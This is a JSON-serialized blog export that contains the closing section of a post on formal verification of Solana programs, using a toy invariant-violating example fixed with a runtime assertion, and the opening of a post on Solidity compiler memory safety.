do?",{"type":23,"tag":32,"props":30308,"children":30309},{},[30310],{"type":29,"value":30311},"For example, in a worst-case scenario you could imagine a situation like the following:",{"type":23,"tag":220,"props":30313,"children":30315},{"code":30314,"language":5319,"meta":7,"className":5320,"style":7},"#[derive(Accounts)]\npub MyCtx {\n    #[account(mut)]\n    pub my_account: Account\u003C'info, Acc>\n}\n\n#[account]\n#[invariant(bad == false)]\nstruct Acc {\n    pub bad: bool\n}\n\nimpl Acc {\n    pub fn put_into_bad_state() {\n        self.bad = true;\n    }\n}\n\n// Instruction handler:\nfn hard_to_verify(ctx: Context\u003CMyCtx>) -> Result\u003C()> {\n    invoke_signed(...); // Cross-program invocation\n\n    let invoke_res = ...; // fetch result of invocation\n    if invoke_res == 5 {\n        ctx.my_account.put_into_bad_state(); // corrupt our account\n    }\n    Ok(())\n}\n",[30316],{"type":23,"tag":71,"props":30317,"children":30318},{"__ignoreMap":7},[30319,30334,30350,30365,30406,30413,30420,30427,30444,30460,30481,30488,30495,30511,30531,30559,30566,30573,30580,30588,30641,30666,30673,30702,30726,30761,30768,30779],{"type":23,"tag":230,"props":30320,"children":30321},{"class":232,"line":233},[30322,30326,30330],{"type":23,"tag":230,"props":30323,"children":30324},{"style":274},[30325],{"type":29,"value":25152},{"type":23,"tag":230,"props":30327,"children":30328},{"style":676},[30329],{"type":29,"value":25157},{"type":23,"tag":230,"props":30331,"children":30332},{"style":274},[30333],{"type":29,"value":22573},{"type":23,"tag":230,"props":30335,"children":30336},{"class":232,"line":243},[30337,30341,30346],{"type":23,"tag":230,"props":30338,"children":30339},{"style":256},[30340],{"type":29,"value":16017},{"type":23,"tag":230,"props":30342,"children":30343},{"style":676},[30344],{"type":29,"value":30345}," MyCtx",{"type":23,"tag":230,"props":30347,"children":30348},{"style":274},[30349],{"type":29,"value":277},{"type":23,"tag":230,"props":30351,"children":30352},{"class":232,"line":252},[30353,30357,30361],{"type":23,"tag":230,"props":30354,"children":30355},{"style":274},[30356],{"type":29,"value":25444},{"type":23,"tag":230,"props":30358,"children":30359},{"style":256},[30360],{"type":29,"value":6059},{"type":23,"tag":230,"props":30362,"children":30363},{"style":274},[30364],{"type":29,"value":22573},{"type":23,"tag":230,"props":30366,"children":30367},{"class":232,"line":280},[30368,30372,30377,30381,30385,30389,30393,30397,30402],{"type":23,"tag":230,"props":30369,"children":30370},{"style":256},[30371],{"type":29,"value":23158},{"type":23,"tag":230,"props":30373,"children":30374},{"style":262},[30375],{"type":29,"value":30376}," my_account",{"type":23,"tag":230,"props":30378,"children":30379},{"style":268},[30380],{"type":29,"value":218},{"type":23,"tag":230,"props":30382,"children":30383},{"style":676},[30384],{"type":29,"value":25409},{"type":23,"tag":230,"props":30386,"children":30387},{"style":274},[30388],{"type":29,"value":25237},{"type":23,"tag":230,"props":30390,"children":30391},{"style":676},[30392],{"type":29,"value":25242},{"type":23,"tag":230,"props":30394,"children":30395},{"style":274},[30396],{"type":29,"value":684},{"type":23,"tag":230,"props":30398,"children":30399},{"style":676},[30400],{"type":29,"value":30401},"Acc",{"type":23,"tag":230,"props":30403,"children":30404},{"style":274},[30405],{"type":29,"value":8329},{"type":23,"tag":230,"props":30407,"children":30408},{"class":232,"line":334},[30409],{"type":23,"tag":230,"props":30410,"children":30411},{"style":274},[30412],{"type":29,"value":975},{"type":23,"tag":230,"props":30414,"children":30415},{"class":232,"line":371},[30416],{"type":23,"tag":230,"props":30417,"children":30418},{"emptyLinePlaceholder":18},[30419],{"type":29,"value":459},{"type":23,"tag":230,"props":30421,"children":30422},{"class":232,"line":391},[30423],{"type":23,"tag":230,"props":30424,"children":30425},{"style":274},[30426],{"type":29,"value":23085},{"type":23,"tag":230,"props":30428,"children":30429},{"class":232,"line":400},[30430,30435,30439],{"type":23,"tag":230,"props":30431,"children":30432},{"style":274},[30433],{"type":29,"value":30434},"#[invariant(bad ",{"type":23,"tag":230,"props":30436,"children":30437},{"style":268},[30438],{"type":29,"value":10911},{"type":23,"tag":230,"props":30440,"children":30441},{"style":274},[30442],{"type":29,"value":30443}," false)]\n",{"type":23,"tag":230,"props":30445,"children":30446},{"class":232,"line":444},[30447,30451,30456],{"type":23,"tag":230,"props":30448,"children":30449},{"style":256},[30450],{"type":29,"value":11733},{"type":23,"tag":230,"props":30452,"children":30453},{"style":676},[30454],{"type":29,"value":30455}," Acc",{"type":23,"tag":230,"props":30457,"children":30458},{"style":274},[30459],{"type":29,"value":277},{"type":23,"tag":230,"props":30461,"children":30462},{"class":232,"line":453},[30463,30467,30472,30476],{"type":23,"tag":230,"props":30464,"children":30465},{"style":256},[30466],{"type":29,"value":23158},{"type":23,"tag":230,"props":30468,"children":30469},{"style":262},[30470],{"type":29,"value":30471}," bad",{"type":23,"tag":230,"props":30473,"children":30474},{"style":268},[30475],{"type":29,"value":218},{"type":23,"tag":230,"props":30477,"children":30478},{"style":676},[30479],{"type":29,"value":30480}," bool\n",{"type":23,"tag":230,"props":30482,"children":30483},{"class":232,"line":462},[30484],{"type":23,"tag":230,"props":30485,"children":30486},{"style":274},[30487],{"type":29,"value":975},{"type":23,"tag":230,"props":30489,"children":30490},{"class":232,"line":471},[30491],{"type":23,"tag":230,"props":30492,"children":30493},{"emptyLinePlaceholder":18},[30494],{"type":29,"value":459},{"type":23,"tag":230,"props":30496,"children":30497},{"class":232,"line":500},[30498,30503,30507],{"type":23,"tag":230,"props":30499,"children":30500},{"style":256},[30501],{"type":29,"value":30502},"impl",{"type":23,"tag":230,"props":30504,"children":30505},{"style":676},[30506],{"type":29,"value":30455},{"type":23,"tag":230,"props":30508,"children":30509},{"style":274},[30510],{"type":29,"value":277},{"type":23,"tag":230,"props":30512,"children":30513},{"class":232,"line":514},[30514,30518,30522,30527],{"type":23,"tag":230,"props":30515,"children":30516},{"style":256},[30517],{"type":29,"value":23158},{"type":23,"tag":230,"props":30519,"children":30520},{"style":256},[30521],{"type":29,"value":16022},{"type":23,"tag":230,"props":30523,"children":30524},{"style":294},[30525],{"type":29,"value":30526}," put_into_bad_state",{"type":23,"tag":230,"props":30528,"children":30529},{"style":274},[30530],{"type":29,"value":18061},{"type":23,"tag":230,"props":30532,"children":30533},{"class":232,"line":897},[30534,30538,30542,30547,30551,30555],{"type":23,"tag":230,"props":30535,"children":30536},{"style":256},[30537],{"type":29,"value":29667},{"type":23,"tag":230,"props":30539,"children":30540},{"style":268},[30541],{"type":29,"value":312},{"type":23,"tag":230,"props":30543,"children":30544},{"style":274},[30545],{"type":29,"value":30546},"bad ",{"type":23,"tag":230,"props":30548,"children":30549},{"style":268},[30550],{"type":29,"value":863},{"type":23,"tag":230,"props":30552,"children":30553},{"style":256},[30554],{"type":29,"value":14799},{"type":23,"tag":230,"props":30556,"children":30557},{"style":274},[30558],{"type":29,"value":511},{"type":23,"tag":230,"props":30560,"children":30561},{"class":232,"line":960},[30562],{"type":23,"tag":230,"props":30563,"children":30564},{"style":274},[30565],{"type":29,"value":1552},{"type":23,"tag":230,"props":30567,"children":30568},{"class":232,"line":969},[30569],{"type":23,"tag":230,"props":30570,"children":30571},{"style":274},[30572],{"type":29,"value":975},{"type":23,"tag":230,"props":30574,"children":30575},{"class":232,"line":4526},[30576],{"type":23,"tag":230,"props":30577,"children":30578},{"emptyLinePlaceholder":18},[30579],{"type":29,"value":459},{"type":23,"tag":230,"props":30581,"children":30582},{"class":232,"line":4534},[30583],{"type":23,"tag":230,"props":30584,"children":30585},{"style":237},[30586],{"type":29,"value":30587},"// Instruction handler:\n",{"type":23,"tag":230,"props":30589,"children":30590},{"class":232,"line":4542},[30591,30595,30600,30604,30608,30612,30616,30620,30625,30629,30633,30637],{"type":23,"tag":230,"props":30592,"children":30593},{"style":256},[30594],{"type":29,"value":22581},{"type":23,"tag":230,"props":30596,"children":30597},{"style":294},[30598],{"type":29,"value":30599}," hard_to_verify",{"type":23,"tag":230,"props":30601,"children":30602},{"style":274},[30603],{"type":29,"value":302},{"type":23,"tag":230,"props":30605,"children":30606},{"style":262},[30607],{"type":29,"value":22595},{"type":23,"tag":230,"props":30609,"children":30610},{"style":268},[30611],{"type":29,"value":218},{"type":23,"tag":230,"props":30613,"children":30614},{"style":676},[30615],{"type":29,"value":22604},{"type":23,"tag":230,"props":30617,"children":30618},{"style":274},[30619],{"type":29,"value":8143},{"type":23,"tag":230,"props":30621,"children":30622},{"style":676},[30623],{"type":29,"value":30624},"MyCtx",{"type":23,"tag":230,"props":30626,"children":30627},{"style":274},[30628],{"type":29,"value":22761},{"type":23,"tag":230,"props":30630,"children":30631},{"style":268},[30632],{"type":29,"value":16084},{"type":23,"tag":230,"props":30634,"children":30635},{"style":676},[30636],{"type":29,"value":16089},{"type":23,"tag":230,"props":30638,"children":30639},{"style":274},[30640],{"type":29,"value":22646},{"type":23,"tag":230,"props":30642,"children":30643},{"class":232,"line":4559},[30644,30649,30653,30657,30661],{"type":23,"tag":230,"props":30645,"children":30646},{"style":294},[30647],{"type":29,"value":30648},"    invoke_signed",{"type":23,"tag":230,"props":30650,"children":30651},{"style":274},[30652],{"type":29,"value":302},{"type":23,"tag":230,"props":30654,"children":30655},{"style":268},[30656],{"type":29,"value":11922},{"type":23,"tag":230,"props":30658,"children":30659},{"style":274},[30660],{"type":29,"value":3458},{"type":23,"tag":230,"props":30662,"children":30663},{"style":237},[30664],{"type":29,"value":30665},"// Cross-program invocation\n",{"type":23,"tag":230,"props":30667,"children":30668},{"class":232,"line":4587},[30669],{"type":23,"tag":230,"props":30670,"children":30671},{"emptyLinePlaceholder":18},[30672],{"type":29,"value":459},{"type":23,"tag":230,"props":30674,"children":30675},{"class":232,"line":4595},[30676,30680,30685,30689,30693,30697],{"type":23,"tag":230,"props":30677,"children":30678},{"style":256},[30679],{"type":29,"value":5340},{"type":23,"tag":230,"props":30681,"children":30682},{"style":262},[30683],{"type":29,"value":30684}," invoke_res",{"type":23,"tag":230,"props":30686,"children":30687},{"style":268},[30688],{"type":29,"value":271},{"type":23,"tag":230,"props":30690,"children":30691},{"style":268},[30692],{"type":29,"value":27606},{"type":23,"tag":230,"props":30694,"children":30695},{"style":274},[30696],{"type":29,"value":2171},{"type":23,"tag":230,"props":30698,"children":30699},{"style":237},[30700],{"type":29,"value":30701},"// fetch result of invocation\n",{"type":23,"tag":230,"props":30703,"children":30704},{"class":232,"line":4619},[30705,30709,30713,30717,30722],{"type":23,"tag":230,"props":30706,"children":30707},{"style":866},[30708],{"type":29,"value":1493},{"type":23,"tag":230,"props":30710,"children":30711},{"style":262},[30712],{"type":29,"value":30684},{"type":23,"tag":230,"props":30714,"children":30715},{"style":268},[30716],{"type":29,"value":5621},{"type":23,"tag":230,"props":30718,"children":30719},{"style":5149},[30720],{"type":29,"value":30721}," 5",{"type":23,"tag":230,"props":30723,"children":30724},{"style":274},[30725],{"type":29,"value":277},{"type":23,"tag":230,"props":30727,"children":30728},{"class":232,"line":4627},[30729,30733,30737,30742,30746,30751,30756],{"type":23,"tag":230,"props":30730,"children":30731},{"style":262},[30732],{"type":29,"value":28493},{"type":23,"tag":230,"props":30734,"children":30735},{"style":268},[30736],{"type":29,"value":312},{"type":23,"tag":230,"props":30738,"children":30739},{"style":274},[30740],{"type":29,"value":30741},"my_account",{"type":23,"tag":230,"props":30743,"children":30744},{"style":268},[30745],{"type":29,"value":312},{"type":23,"tag":230,"props":30747,"children":30748},{"style":294},[30749],{"type":29,"value":30750},"put_into_bad_state",{"type":23,"tag":230,"props":30752,"children":30753},{"style":274},[30754],{"type":29,"value":30755},"(); ",{"type":23,"tag":230,"props":30757,"children":30758},{"style":237},[30759],{"type":29,"value":30760},"// corrupt our account\n",{"type":23,"tag":230,"props":30762,"children":30763},{"class":232,"line":4659},[30764],{"type":23,"tag":230,"props":30765,"children":30766},{"style":274},[30767],{"type":29,"value":1552},{"type":23,"tag":230,"props":30769,"children":30770},{"class":232,"line":4671},[30771,30775],{"type":23,"tag":230,"props":30772,"children":30773},{"style":676},[30774],{"type":29,"value":16660},{"type":23,"tag":230,"props":30776,"children":30777},{"style":274},[30778],{"type":29,"value":16665},{"type":23,"tag":230,"props":30780,"children":30781},{"class":232,"line":4688},[30782],{"type":23,"tag":230,"props":30783,"children":30784},{"style":274},[30785],{"type":29,"value":975},{"type":23,"tag":32,"props":30787,"children":30788},{},[30789,30791,30796],{"type":29,"value":30790},"The integrity of the verification framework relies on the fact that the account invariants for the accounts contained in the instruction (in this case ",{"type":23,"tag":71,"props":30792,"children":30794},{"className":30793},[],[30795],{"type":29,"value":30741},{"type":29,"value":30797},") will be maintained as long as the instruction succeeds.",{"type":23,"tag":32,"props":30799,"children":30800},{},[30801],{"type":29,"value":30802},"In this case, we can't really verify if the instruction succeeds or not (at least without knowing which program/instruction will be invoked).",{"type":23,"tag":32,"props":30804,"children":30805},{},[30806,30808,30813],{"type":29,"value":30807},"However, we can ",{"type":23,"tag":2258,"props":30809,"children":30810},{},[30811],{"type":29,"value":30812},"augment",{"type":29,"value":30814}," our code with additional runtime constraints to ensure that the safety properties are preserved even if formal verification fails.",{"type":23,"tag":32,"props":30816,"children":30817},{},[30818],{"type":29,"value":30819},"In this case, we can add runtime assertions that ensure our runtime invariants hold. For example:",{"type":23,"tag":220,"props":30821,"children":30823},{"code":30822,"language":5319,"meta":7,"className":5320,"style":7},"...\nfn hard_to_verify(ctx: Context\u003CMyCtx>) -> Result\u003C()> {\n    invoke_signed(...); // Cross-program invocation\n\n    let invoke_res = ...; // fetch result of invocation\n    if invoke_res == 5 {\n        ctx.my_account.put_into_bad_state(); // corrupt our account\n    }\n\n    // Enforce invariants at runtime\n    assert(ctx.my_account.invariant());\n\n    Ok(())\n}\n",[30824],{"type":23,"tag":71,"props":30825,"children":30826},{"__ignoreMap":7},[30827,30835,30886,30909,30916,30943,30966,30997,31004,31011,31019,31054,31061,31072],{"type":23,"tag":230,"props":30828,"children":30829},{"class":232,"line":233},[30830],{"type":23,"tag":230,"props":30831,"children":30832},{"style":268},[30833],{"type":29,"value":30834},"...\n",{"type":23,"tag":230,"props":30836,"children":30837},{"class":232,"line":243},[30838,30842,30846,30850,30854,30858,30862,30866,30870,30874,30878,30882],{"type":23,"tag":230,"props":30839,"children":30840},{"style":256},[30841],{"type":29,"value":22581},{"type":23,"tag":230,"props":30843,"children":30844},{"style":294},[30845],{"type":29,"value":30599},{"type":23,"tag":230,"props":30847,"children":30848},{"style":274},[30849],{"type":29,"value":302},{"type":23,"tag":230,"props":30851,"children":30852},{"style":262},[30853],{"type":29,"value":22595},{"type":23,"tag":230,"props":30855,"children":30856},{"style":268},[30857],{"type":29,"value":218},{"type":23,"tag":230,"props":30859,"children":30860},{"style":676},[30861],{"type":29,"value":22604},{"type":23,"tag":230,"props":30863,"children":30864},{"style":274},[30865],{"type":29,"value":8143},{"type":23,"tag":230,"props":30867,"children":30868},{"style":676},[30869],{"type":29,"value":30624},{"type":23,"tag":230,"props":30871,"children":30872},{"style":274},[30873],{"type":29,"value":22761},{"type":23,"tag":230,"props":30875,"children":30876},{"style":268},[30877],{"type":29,"value":16084},{"type":23,"tag":230,"props":30879,"children":30880},{"style":676},[30881],{"type":29,"value":16089},{"type":23,"tag":230,"props":30883,"children":30884},{"style":274},[30885],{"type":29,"value":22646},{"type":23,"tag":230,"props":30887,"children":30888},{"class":232,"line":252},[30889,30893,30897,30901,30905],{"type":23,"tag":230,"props":30890,"children":30891},{"style":294},[30892],{"type":29,"value":30648},{"type":23,"tag":230,"props":30894,"children":30895},{"style":274},[30896],{"type":29,"value":302},{"type":23,"tag":230,"props":30898,"children":30899},{"style":268},[30900],{"type":29,"value":11922},{"type":23,"tag":230,"props":30902,"children":30903},{"style":274},[30904],{"type":29,"value":3458},{"type":23,"tag":230,"props":30906,"children":30907},{"style":237},[30908],{"type":29,"value":30665},{"type":23,"tag":230,"props":30910,"children":30911},{"class":232,"line":280},[30912],{"type":23,"tag":230,"props":30913,"children":30914},{"emptyLinePlaceholder":18},[30915],{"type":29,"value":459},{"type":23,"tag":230,"props":30917,"children":30918},{"class":232,"line":334},[30919,30923,30927,30931,30935,30939],{"type":23,"tag":230,"props":30920,"children":30921},{"style":256},[30922],{"type":29,"value":5340},{"type":23,"tag":230,"props":30924,"children":30925},{"style":262},[30926],{"type":29,"value":30684},{"type":23,"tag":230,"props":30928,"children":30929},{"style":268},[30930],{"type":29,"value":271},{"type":23,"tag":230,"props":30932,"children":30933},{"style":268},[30934],{"type":29,"value":27606},{"type":23,"tag":230,"props":30936,"children":30937},{"style":274},[30938],{"type":29,"value":2171},{"type":23,"tag":230,"props":30940,"children":30941},{"style":237},[30942],{"type":29,"value":30701},{"type":23,"tag":230,"props":30944,"children":30945},{"class":232,"line":371},[30946,30950,30954,30958,30962],{"type":23,"tag":230,"props":30947,"children":30948},{"style":866},[30949],{"type":29,"value":1493},{"type":23,"tag":230,"props":30951,"children":30952},{"style":262},[30953],{"type":29,"value":30684},{"type":23,"tag":230,"props":30955,"children":30956},{"style":268},[30957],{"type":29,"value":5621},{"type":23,"tag":230,"props":30959,"children":30960},{"style":5149},[30961],{"type":29,"value":30721},{"type":23,"tag":230,"props":30963,"children":30964},{"style":274},[30965],{"type":29,"value":277},{"type":23,"tag":230,"props":30967,"children":30968},{"class":232,"line":391},[30969,30973,30977,30981,30985,30989,30993],{"type":23,"tag":230,"props":30970,"children":30971},{"style":262},[30972],{"type":29,"value":28493},{"type":23,"tag":230,"props":30974,"children":30975},{"style":268},[30976],{"type":29,"value":312},{"type":23,"tag":230,"props":30978,"children":30979},{"style":274},[30980],{"type":29,"value":30741},{"type":23,"tag":230,"props":30982,"children":30983},{"style":268},[30984],{"type":29,"value":312},{"type":23,"tag":230,"props":30986,"children":30987},{"style":294},[30988],{"type":29,"value":30750},{"type":23,"tag":230,"props":30990,"children":30991},{"style":274},[30992],{"type":29,"value":30755},{"type":23,"tag":230,"props":30994,"children":30995},{"style":237},[30996],{"type":29,"value":30760},{"type":23,"tag":230,"props":30998,"children":30999},{"class":232,"line":400},[31000],{"type":23,"tag":230,"props":31001,"children":31002},{"style":274},[31003],{"type":29,"value":1552},{"type":23,"tag":230,"props":31005,"children":31006},{"class":232,"line":444},[31007],{"type":23,"tag":230,"props":31008,"children":31009},{"emptyLinePlaceholder":18},[31010],{"type":29,"value":459},{"type":23,"tag":230,"props":31012,"children":31013},{"class":232,"line":453},[31014],{"type":23,"tag":230,"props":31015,"children":31016},{"style":237},[31017],{"type":29,"value":31018},"    // Enforce invariants at runtime\n",{"type":23,"tag":230,"props":31020,"children":31021},{"class":232,"line":462},[31022,31026,31030,31034,31038,31042,31046,31050],{"type":23,"tag":230,"props":31023,"children":31024},{"style":294},[31025],{"type":29,"value":21556},{"type":23,"tag":230,"props":31027,"children":31028},{"style":274},[31029],{"type":29,"value":302},{"type":23,"tag":230,"props":31031,"children":31032},{"style":262},[31033],{"type":29,"value":22595},{"type":23,"tag":230,"props":31035,"children":31036},{"style":268},[31037],{"type":29,"value":312},{"type":23,"tag":230,"props":31039,"children":31040},{"style":274},[31041],{"type":29,"value":30741},{"type":23,"tag":230,"props":31043,"children":31044},{"style":268},[31045],{"type":29,"value":312},{"type":23,"tag":230,"props":31047,"children":31048},{"style":294},[31049],{"type":29,"value":24092},{"type":23,"tag":230,"props":31051,"children":31052},{"style":274},[31053],{"type":29,"value":17749},{"type":23,"tag":230,"props":31055,"children":31056},{"class":232,"line":471},[31057],{"type":23,"tag":230,"props":31058,"children":31059},{"emptyLinePlaceholder":18},[31060],{"type":29,"value":459},{"type":23,"tag":230,"props":31062,"children":31063},{"class":232,"line":500},[31064,31068],{"type":23,"tag":230,"props":31065,"children":31066},{"style":676},[31067],{"type":29,"value":16660},{"type":23,"tag":230,"props":31069,"children":31070},{"style":274},[31071],{"type":29,"value":16665},{"type":23,"tag":230,"props":31073,"children":31074},{"class":232,"line":514},[31075],{"type":23,"tag":230,"props":31076,"children":31077},{"style":274},[31078],{"type":29,"value":975},{"type":23,"tag":32,"props":31080,"children":31081},{},[31082,31084,31089,31091,31096,31098,31103],{"type":29,"value":31083},"Here, we explicitly ",{"type":23,"tag":71,"props":31085,"children":31087},{"className":31086},[],[31088],{"type":29,"value":22298},{"type":29,"value":31090}," that our invariants hold at ",{"type":23,"tag":2258,"props":31092,"children":31093},{},[31094],{"type":29,"value":31095},"runtime",{"type":29,"value":31097}," which allows us to be assured that ",{"type":23,"tag":71,"props":31099,"children":31101},{"className":31100},[],[31102],{"type":29,"value":30741},{"type":29,"value":31104}," will not enter a bad state as a result of some unverifiable behavior.",{"type":23,"tag":32,"props":31106,"children":31107},{},[31108],{"type":29,"value":31109},"In general techniques like this can be used to tidy up the loose ends that formal verification may struggle with.",{"type":23,"tag":24,"props":31111,"children":31113},{"id":31112},"challenges-of-formal-verification-on-solana",[31114],{"type":29,"value":31115},"Challenges of formal verification on Solana",{"type":23,"tag":59,"props":31117,"children":31119},{"id":31118},"expensive-computation",[31120],{"type":29,"value":31121},"Expensive computation",{"type":23,"tag":32,"props":31123,"children":31124},{},[31125,31127,31132],{"type":29,"value":31126},"As we started exploring this project, we were hoping to see it work straight out of the box. Unfortunately, that was not the case. Harkening back to our friend ",{"type":23,"tag":2258,"props":31128,"children":31129},{},[31130],{"type":29,"value":31131},"path explosion",{"type":29,"value":31133},", it is often the case that bounded model checking just grinds and grinds on the problem and is not able to produce a solution.",{"type":23,"tag":32,"props":31135,"children":31136},{},[31137,31139,31144],{"type":29,"value":31138},"In order to make this technique more widely applicable, we've been developing a runtime SDK layer that is more ",{"type":23,"tag":2258,"props":31140,"children":31141},{},[31142],{"type":29,"value":31143},"formal verification friendly",{"type":29,"value":31145},". Specifically our tool will replace certain built-in SDK functions and structures with less expensive ones in the context of symbolic execution.",{"type":23,"tag":32,"props":31147,"children":31148},{},[31149,31151,31156,31158,31163],{"type":29,"value":31150},"For example, when verifying things like the uniqueness of a ",{"type":23,"tag":71,"props":31152,"children":31154},{"className":31153},[],[31155],{"type":29,"value":23712},{"type":29,"value":31157}," in a ",{"type":23,"tag":71,"props":31159,"children":31161},{"className":31160},[],[31162],{"type":29,"value":19532},{"type":29,"value":31164},", the native program may generate extremely large SMT expressions containing nested 32-byte comparisons and binary searches on a vector.",{"type":23,"tag":32,"props":31166,"children":31167},{},[31168,31170,31175,31177,31182,31184,31189,31191,31196,31198,31203,31205,31210],{"type":29,"value":31169},"However, in most cases the properties we are interested in do not require specific search algorithms for the ",{"type":23,"tag":71,"props":31171,"children":31173},{"className":31172},[],[31174],{"type":29,"value":19532},{"type":29,"value":31176}," or a 32-byte ",{"type":23,"tag":71,"props":31178,"children":31180},{"className":31179},[],[31181],{"type":29,"value":23712},{"type":29,"value":31183},". Instead, our tool can substitute in ",{"type":23,"tag":2258,"props":31185,"children":31186},{},[31187],{"type":29,"value":31188},"cheaper",{"type":29,"value":31190}," types and functions, such as a 4-byte ",{"type":23,"tag":71,"props":31192,"children":31194},{"className":31193},[],[31195],{"type":29,"value":23712},{"type":29,"value":31197}," struct and a fixed-size, array-backed ",{"type":23,"tag":71,"props":31199,"children":31201},{"className":31200},[],[31202],{"type":29,"value":19532},{"type":29,"value":31204}," implementation. These structures are API-compatible with the native SDK and the changes are functionally invisible to the Solana program we are verifying. However, the generated expressions are ",{"type":23,"tag":2258,"props":31206,"children":31207},{},[31208],{"type":29,"value":31209},"much",{"type":29,"value":31211}," simpler and we find that these techniques can greatly accelerate the speed of model-checking.",{"type":23,"tag":32,"props":31213,"children":31214},{},[31215],{"type":29,"value":31216},"It is of key importance that these SDK modifications do not introduce any unsoundness into the model-checking process. We are actively exploring how to do this effectively.",{"type":23,"tag":59,"props":31218,"children":31220},{"id":31219},"runtime-environment",[31221],{"type":29,"value":31222},"Runtime Environment",{"type":23,"tag":32,"props":31224,"children":31225},{},[31226],{"type":29,"value":31227},"While these techniques are quite capable of verifying pure-Rust constructs such as the logical flow of the program, use of Rust types, etc... other aspects of the Solana runtime environment are more difficult to verify.",{"type":23,"tag":32,"props":31229,"children":31230},{},[31231],{"type":29,"value":31232},"For example, a program may resize accounts to store variable amounts of data. These types of custom serialization algorithms require specialized techniques to verify account invariants. For example, a bug with account serialization could undermine \"correct\" account logic.",{"type":23,"tag":32,"props":31234,"children":31235},{},[31236],{"type":29,"value":31237},"Another example is cross-program invocation (CPI). While account data cannot be changed by other programs, when you invoke other instructions it becomes more difficult to verify instruction invariants. An instruction three levels down could fail and cause the whole transaction to revert.",{"type":23,"tag":24,"props":31239,"children":31240},{"id":5163},[31241],{"type":29,"value":5166},{"type":23,"tag":32,"props":31243,"children":31244},{},[31245],{"type":29,"value":31246},"Computer security is far from being a solved problem. Formal verification is a great technique but it is not a magic bullet. While it can help you verify the correctness of your program it won't catch 100% of the bugs. It won't stop you from specifying the wrong invariants or forgetting things, and it can't help you if there is a bug outside of the scope of the model — for example in the runtime or consensus layer.",{"type":23,"tag":32,"props":31248,"children":31249},{},[31250],{"type":29,"value":31251},"Disclaimer out of the way, we believe that formal verification can still be a very useful tool when applied correctly. We've demonstrated that it is possible to automatically prove invariants about Solana programs in a tractable and user-friendly way.",{"type":23,"tag":21113,"props":31253,"children":31254},{},[],{"type":23,"tag":32,"props":31256,"children":31257},{},[31258],{"type":23,"tag":2258,"props":31259,"children":31260},{},[31261,31263,31268,31269,31273],{"type":29,"value":31262},"We're excited to keep pushing this research forward and enhance the security of the whole Solana ecosystem. Our tools are still in development but we're interested in working with other teams. If you have a Solana program you want to get formally verified, give us a shout! Fill out ",{"type":23,"tag":181,"props":31264,"children":31266},{"href":21196,"rel":31265},[185],[31267],{"type":29,"value":21200},{"type":29,"value":21202},{"type":23,"tag":181,"props":31270,"children":31271},{"href":21205},[31272],{"type":29,"value":21208},{"type":29,"value":312},{"type":23,"tag":5178,"props":31275,"children":31276},{},[31277],{"type":29,"value":5182},{"title":7,"searchDepth":243,"depth":243,"links":31279},[31280,31286,31290,31295,31301,31305],{"id":21269,"depth":243,"text":21272,"children":31281},[31282,31283,31284,31285],{"id":26,"depth":252,"text":30},{"id":21341,"depth":252,"text":21344},{"id":22218,"depth":252,"text":22221},{"id":22258,"depth":252,"text":22261},{"id":22311,"depth":243,"text":31287,"children":31288},"Specification: How can we describe what we want our program to do?",[31289],{"id":22425,"depth":252,"text":22428},{"id":23784,"depth":243,"text":23787,"children":31291},[31292,31293,31294],{"id":24461,"depth":252,"text":24464},{"id":24746,"depth":252,"text":24749},{"id":24890,"depth":252,"text":24893},{"id":25031,"depth":243,"text":25034,"children":31296},[31297,31298,31299,31300],{"id":25102,"depth":252,"text":25105},{"id":26945,"depth":252,"text":26948},{"id":27747,"depth":252,"text":25094},{"id":30273,"depth":252,"text":25099},{"id":31112,"depth":243,"text":31115,"children":31302},[31303,31304],{"id":31118,"depth":252,"text":31121},{"id":31219,"depth":252,"text":31222},{"id":5163,"depth":243,"text":5166},"content:blog:2023-01-26-formally-verifying-solana-programs.md","blog/2023-01-26-formally-verifying-solana-programs.md","blog/2023-01-26-formally-verifying-solana-programs",{"_path":31310,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"title":31311,"description":31312,"author":8056,"image":31313,"date":31315,"isFeatured":18,"onBlogPage":18,"tags":31316,"body":31318,"_type":5202,"_id":32737,"_source":5204,"_file":32738,"_stem":32739,"_extension":5207},"/blog/2023-07-28-solidity-compilers-memory-safety","Solidity Compilers: Memory Safety","An exploration into the Solidity compilation pipeline, optimization assumptions, and how it all relates back to memory-safe assembly.",{"src":31314,"height":16,"width":16},"/posts/solidity-compilers-memory-safety/header.jpg","2023-07-28",[6812,31317],"compiler",{"type":20,"children":31319,"toc":32728},[31320,31326,31362,31374,31380,31402,31415,31563,31584,31589,31610,31615,31623,31628,31633,31638,31644,31663,31668,31689,31752,31765,31795,31815,31842,31847,31860,31865,31870,31883,31914,31937,32090,32108,32159,32178,32203,32208,32214,32241,32261,32289,32294,32316,32335,32343,32354,32359,32375,32632,32640,32645,32649,32654,32659,32724],{"type":23,"tag":24,"props":31321,"children":31323},{"id":31322},"introduction",[31324],{"type":29,"value":31325},"Introduction",{"type":23,"tag":32,"props":31327,"children":31328},{},[31329,31331,31337,31338,31342,31344,31351,31353,31360],{"type":29,"value":31330},"What does ",{"type":23,"tag":71,"props":31332,"children":31334},{"className":31333},[],[31335],{"type":29,"value":31336},"memory-safe",{"type":29,"value":3374},{"type":23,"tag":2258,"props":31339,"children":31340},{},[31341],{"type":29,"value":11620},{"type":29,"value":31343}," mean? What guarantees does Solidity expose when you're dealing with inline assembly? The documentation ",{"type":23,"tag":181,"props":31345,"children":31348},{"href":31346,"rel":31347},"https://docs.soliditylang.org/en/v0.8.20/assembly.html#memory-safety",[185],[31349],{"type":29,"value":31350},"presents some requirements",{"type":29,"value":31352},", but is production code that ",{"type":23,"tag":181,"props":31354,"children":31357},{"href":31355,"rel":31356},"https://github.com/Vectorized/solady/blob/main/src/utils/SafeTransferLib.sol#L165-L166",[185],[31358],{"type":29,"value":31359},"violates these requirements",{"type":29,"value":31361}," necessarily unsafe?",{"type":23,"tag":32,"props":31363,"children":31364},{},[31365,31367,31372],{"type":29,"value":31366},"In this blog post, we present a high-level overview of the Solidity compiler. We'll also dive into the optimization pipeline, language lawyering, and present an argument for what ",{"type":23,"tag":2258,"props":31368,"children":31369},{},[31370],{"type":29,"value":31371},"memory-safety",{"type":29,"value":31373}," actually means.",{"type":23,"tag":24,"props":31375,"children":31377},{"id":31376},"compiler-pipeline",[31378],{"type":29,"value":31379},"Compiler Pipeline",{"type":23,"tag":32,"props":31381,"children":31382},{},[31383,31385,31392,31394,31401],{"type":29,"value":31384},"For brevity's sake, we'll only cover the YUL IR Solidity compilation pipeline 